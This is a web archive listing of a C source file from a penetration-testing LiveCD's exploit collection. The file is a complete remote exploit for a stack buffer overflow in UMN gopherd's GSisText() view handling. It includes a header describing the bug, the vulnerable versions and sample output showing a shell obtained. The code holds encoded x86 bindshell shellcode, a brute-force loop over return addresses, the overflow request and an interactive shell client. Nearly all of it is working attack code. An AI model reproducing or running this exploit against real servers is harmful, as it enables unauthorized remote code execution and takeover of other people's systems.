home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / gopherd / xgopherd2k3-jesustext.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  10.5 KB  |  267 lines
  1. /*[ UMN gopherd[2.x.x/3.x.x]: remote GSisText()/view buffer overflow. ]*
  2.  *                                                                     *
  3.  * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo/realhalo)           *
  4.  *                                                                     *
  5.  * three years since last audit, code is a little more secure.  but,   *
  6.  * still found a few potentially exploitable situations.  this         *
  7.  * exploits the GSisText() object function in gopherd.  the function   *
  8.  * is used in determining view-type.  the function does not check the  *
  9.  * length of the string, which is copied into a temporary 64 byte      *
  10.  * buffer.  an example would look like this(including where to put the *
  11.  * shellcode at):                                                      *
  12.  *                                                                     *
  13.  * "g\t+<long string>\t1\n<shellcode(256 character max)>\n"            *
  14.  *                                                                     *
  15.  * to exploit this, the request must start with a h, 0, 4, 5, 9, s, I, *
  16.  * or g.  followed by a <tab>+<long string>.  to have a place to put   *
  17.  * the shellcode, i appended a <tab>1, which makes gopherd wait for    *
  18.  * another line before actually doing the overflow.                    *
  19.  *                                                                     *
  20.  * requirements(general):                                              *
  21.  *  none.  no option to disable this, hard-coded upon compile.         *
  22.  *                                                                     *
  23.  * requirements(for this exploit):                                     *
  24.  *  the server must be running linux/x86(what i made the exploit for). *
  25.  *  gopherd must be started in the root directory "/", running with    *
  26.  *  the -c command line option, or started as non-root.  any of those  *
  27.  *  three situations will allow for successful exploitation.  this     *
  28.  *  does not mean it is impossible to exploit otherwise.  but, gopherd *
  29.  *  will be in a chroot()'d state.  and, as of the 2.4 kernel series,  *
  30.  *  i have seen no such way to break chroot.  if it is desired to      *
  31.  *  still run code, even in a limited environment, simply change the   *
  32.  *  shellcode to your likings.                                         *
  33.  *                                                                     *
  34.  * bug location(gopher-3.0.5/object/GSgopherobj.c):                    *
  35.  *  2088:boolean                                                       *
  36.  *  2089:GSisText(GopherObj *gs, char *view)                           *
  37.  *  2090:{                                                             *
  38.  *  ...                                                                *
  39.  *  2106:char viewstowage[64], *cp;                                    *
  40.  *  2108:strcpy(viewstowage, view);                                    *
  41.  *                                                                     *
  42.  * vulnerable versions:                                                *
  43.  *  v3.0.5, v3.0.4, v3.0.3, v3.0.2, v3.0.1, v3.0.0(-1),                *
  44.  *  v2.3.1. (patch level 0 through 15/all 2.3.1 versions)              *
  45.  *  (it is assumed versions before 2.3.1 are vulnerable as well)       *
  46.  *                                                                     *
  47.  * tested on platforms(with no code changes/offsets):                  *
  48.  *  RedHat7.1, 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686             *
  49.  *  Mandrake9.1, 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686   *
  50.  *  (tested on both v3.0.5, and v2.3.1 sources / no changes)           *
  51.  *                                                                     *
  52.  * example usage:                                                      *
  53.  *  # cc xgopherd2k3-jesustext.c -o xgopherd2k3-jesustext              *
  54.  *  # ./xgopherd2k3-jesustext localhost                                *
  55.  *  [*] UMN gopherd[2.x.x/3.x.x]: remote buffer overflow exploit.      *
  56.  *  [*] "UMN gopherd remote GSisText()/view buffer overflow"           *
  57.  *  [*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)               *
  58.  *                                                                     *
  59.  *  [*] target: localhost:70 - brute: 0xbfffe000-0xbfffffff            *
  60.  *                                                                     *
  61.  *  (. = 29 byte offset): ............................................ *
  62.  *  .................................................................. *
  63.  *  ................................................(hit shellcode!)   *
  64.  *                                                                     *
  65.  *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
  66.  *  uid=13(gopher) gid=30(gopher) groups=0(root),1(bin),2(daemon),3(s$ *
  67.  ***********************************************************************/
  68. #include <stdio.h>
  69. #include <stdlib.h>
  70. #include <string.h>
  71. #include <strings.h>
  72. #include <signal.h>
  73. #include <unistd.h>
  74. #include <netdb.h>
  75. #include <sys/socket.h>
  76. #include <sys/types.h>
  77. #include <sys/time.h>
  78. #include <netinet/in.h>
  79. #include <arpa/inet.h>
  80.  
  81. /* using brute force method, don't change values.                 */
  82. #define CODESIZE 256 /* big as it gets, or will fail.             */
  83. #define EIPSIZE 128 /* 64 byte buffer, little overboard. :)       */
  84. #define BASEADDR 0xbfffe000 /* starting address, should be ok.    */
  85. #define ENDADDR 0xbfffffff /* address to stop at.                 */
  86. #define TIMEOUT 10 /* connection timeout. (general)               */
  87.  
  88. /* globals. */
  89. static char x86_exec[]= /* bindshell(45295)&, netric/S-poly. */
  90.  "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
  91.  "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
  92.  "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
  93.  "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
  94.  "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
  95.  "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
  96.  "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
  97.  "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
  98.  "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
  99.  "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
  100.  "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
  101.  "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
  102.  "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
  103.  "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
  104.  "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
  105.  "\x6e";
  106.  
  107. /* functions. */
  108. char *geteip(unsigned int);
  109. char *getcode(void);
  110. unsigned short gopher_connect(char *,unsigned short,
  111. unsigned int);
  112. void getshell(char *,unsigned short);
  113. void printe(char *,short);
  114.  
  115. /* signal handlers. */
  116. void sig_ctrlc(){printe("aborted",1);}
  117. void sig_alarm(){printe("alarm/timeout hit",1);}
  118.  
  119. /* begin. */
  120. int main(int argc,char **argv){
  121.  unsigned short gopher_port=70; /* default. */
  122.  unsigned int offset=0,i=0;
  123.  char *gopher_host;
  124.  printf("[*] UMN gopherd[2.x.x/3.x.x]: remote buffer o"
  125.  "verflow exploit.\n[*] \"UMN gopherd remote GSisText("
  126.  ")/view buffer overflow\"\n[*] by: vade79/v9 v9@fakeh"
  127.  "alo.deadpig.org (fakehalo)\n\n");
  128.  if(argc<2){
  129.   printf("[!] syntax: %s <hostname[:port]>\n\n",argv[0]);
  130.   exit(1);
  131.  }
  132.  if(!(gopher_host=(char *)strdup(argv[1])))
  133.   printe("main(): allocating memory failed",1);
  134.  for(i=0;i<strlen(gopher_host);i++)
  135.   if(gopher_host[i]==':')
  136.    gopher_host[i]=0x0;
  137.  if(index(argv[1],':'))
  138.   gopher_port=atoi((char *)index(argv[1],':')+1);
  139.  if(!gopher_port)
  140.   gopher_port=70;
  141.  printf("[*] target: %s:%d - brute: 0x%.8x-0x%.8x\n\n",
  142.  gopher_host,gopher_port,BASEADDR,ENDADDR);
  143.  signal(SIGINT,sig_ctrlc);
  144.  signal(SIGALRM,sig_alarm);
  145.  fprintf(stderr,"(. = 29 byte offset): ");
  146.  for(offset=0;(BASEADDR+offset)<ENDADDR;offset+=29){
  147.   fprintf(stderr,(gopher_connect(gopher_host,gopher_port,
  148.   offset)?"!":"."));
  149.   getshell(gopher_host,45295); /* defined in shellcode. */
  150.  }
  151.  fprintf(stderr,"(brute force limit hit)\n");
  152.  exit(0);
  153. }
  154. char *geteip(unsigned int offset){
  155.  unsigned int i=0;
  156.  char *buf;
  157.  if(!(buf=(char *)malloc(EIPSIZE+1)))
  158.   printe("ftpd_read(): allocating memory failed.",1);
  159.  memset(buf,0x0,EIPSIZE+1);
  160.  for(i=0;i<EIPSIZE;i+=4){*(long *)&buf[i]=(BASEADDR+offset);}
  161.  return(buf);
  162. }
  163. char *getcode(void){
  164.  char *buf;
  165.  if(!(buf=(char *)malloc(CODESIZE+1)))
  166.   printe("getcode(): allocating memory failed",1);
  167.  memset(buf,0x90,(CODESIZE-strlen(x86_exec)));
  168.  memcpy(buf+(CODESIZE-strlen(x86_exec)),x86_exec,
  169.  strlen(x86_exec));
  170.  return(buf);
  171. }
  172. unsigned short gopher_connect(char *hostname,
  173. unsigned short port,unsigned int offset){
  174.  int sock;
  175.  struct hostent *t;
  176.  struct sockaddr_in s;
  177.  sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  178.  s.sin_family=AF_INET;
  179.  s.sin_port=htons(port);
  180.  if((s.sin_addr.s_addr=inet_addr(hostname))){
  181.   if(!(t=gethostbyname(hostname))){
  182.    close(sock);
  183.    return(1);
  184.   }
  185.   memcpy((char*)&s.sin_addr,(char*)t->h_addr,
  186.   sizeof(s.sin_addr));
  187.  }
  188.  signal(SIGALRM,sig_alarm);
  189.  alarm(TIMEOUT);
  190.  if(connect(sock,(struct sockaddr *)&s,sizeof(s))){
  191.   alarm(0);
  192.   close(sock);
  193.   return(1);
  194.  }
  195.  alarm(0);
  196.  usleep(500000); /* had problems, without a delay here. */
  197.  /* the exploit itself. */
  198.  dprintf(sock,"g\t+%s\t1\n",geteip(offset)); /* 64 bytes. */
  199.  dprintf(sock,"%s\n",getcode()); /* 256 bytes room.       */
  200.  usleep(500000);
  201.  close(sock); /* done. */
  202.  return(0);
  203. }
  204. /* same getshell() routine, a little modded for brute. */
  205. void getshell(char *hostname,unsigned short port){
  206.  int sock,r;
  207.  fd_set fds;
  208.  char buf[4096+1];
  209.  struct hostent *he;
  210.  struct sockaddr_in sa;
  211.  if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  212.   return;
  213.  sa.sin_family=AF_INET;
  214.  if((sa.sin_addr.s_addr=inet_addr(hostname))){
  215.   if(!(he=gethostbyname(hostname))){
  216.    close(sock);
  217.    return;
  218.   }
  219.   memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  220.   sizeof(sa.sin_addr));
  221.  }
  222.  sa.sin_port=htons(port);
  223.  signal(SIGALRM,sig_alarm);
  224.  alarm(TIMEOUT);
  225.  if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  226.   alarm(0);
  227.   close(sock);
  228.   return;
  229.  }
  230.  alarm(0);
  231.  fprintf(stderr,"(hit shellcode!)\n\n");
  232.  signal(SIGINT,SIG_IGN);
  233.  write(sock,"uname -a;id\n",13);
  234.  while(1){
  235.   FD_ZERO(&fds);
  236.   FD_SET(0,&fds);
  237.   FD_SET(sock,&fds);
  238.   if(select(sock+1,&fds,0,0,0)<1){
  239.    printe("getshell(): select() failed",0);
  240.    return;
  241.   }
  242.   if(FD_ISSET(0,&fds)){
  243.    if((r=read(0,buf,4096))<1){
  244.     printe("getshell(): read() failed",0);
  245.     return;
  246.    }
  247.    if(write(sock,buf,r)!=r){
  248.     printe("getshell(): write() failed",0);
  249.     return;
  250.    }
  251.   }
  252.   if(FD_ISSET(sock,&fds)){
  253.    if((r=read(sock,buf,4096))<1)
  254.     exit(0);
  255.    write(1,buf,r);
  256.   }
  257.  }
  258.  close(sock);
  259.  return;
  260. }
  261. void printe(char *err,short e){
  262.  fprintf(stderr,"(error: %s)\n",err);
  263.  if(e)
  264.   exit(1);
  265.  return;
  266. }
  267.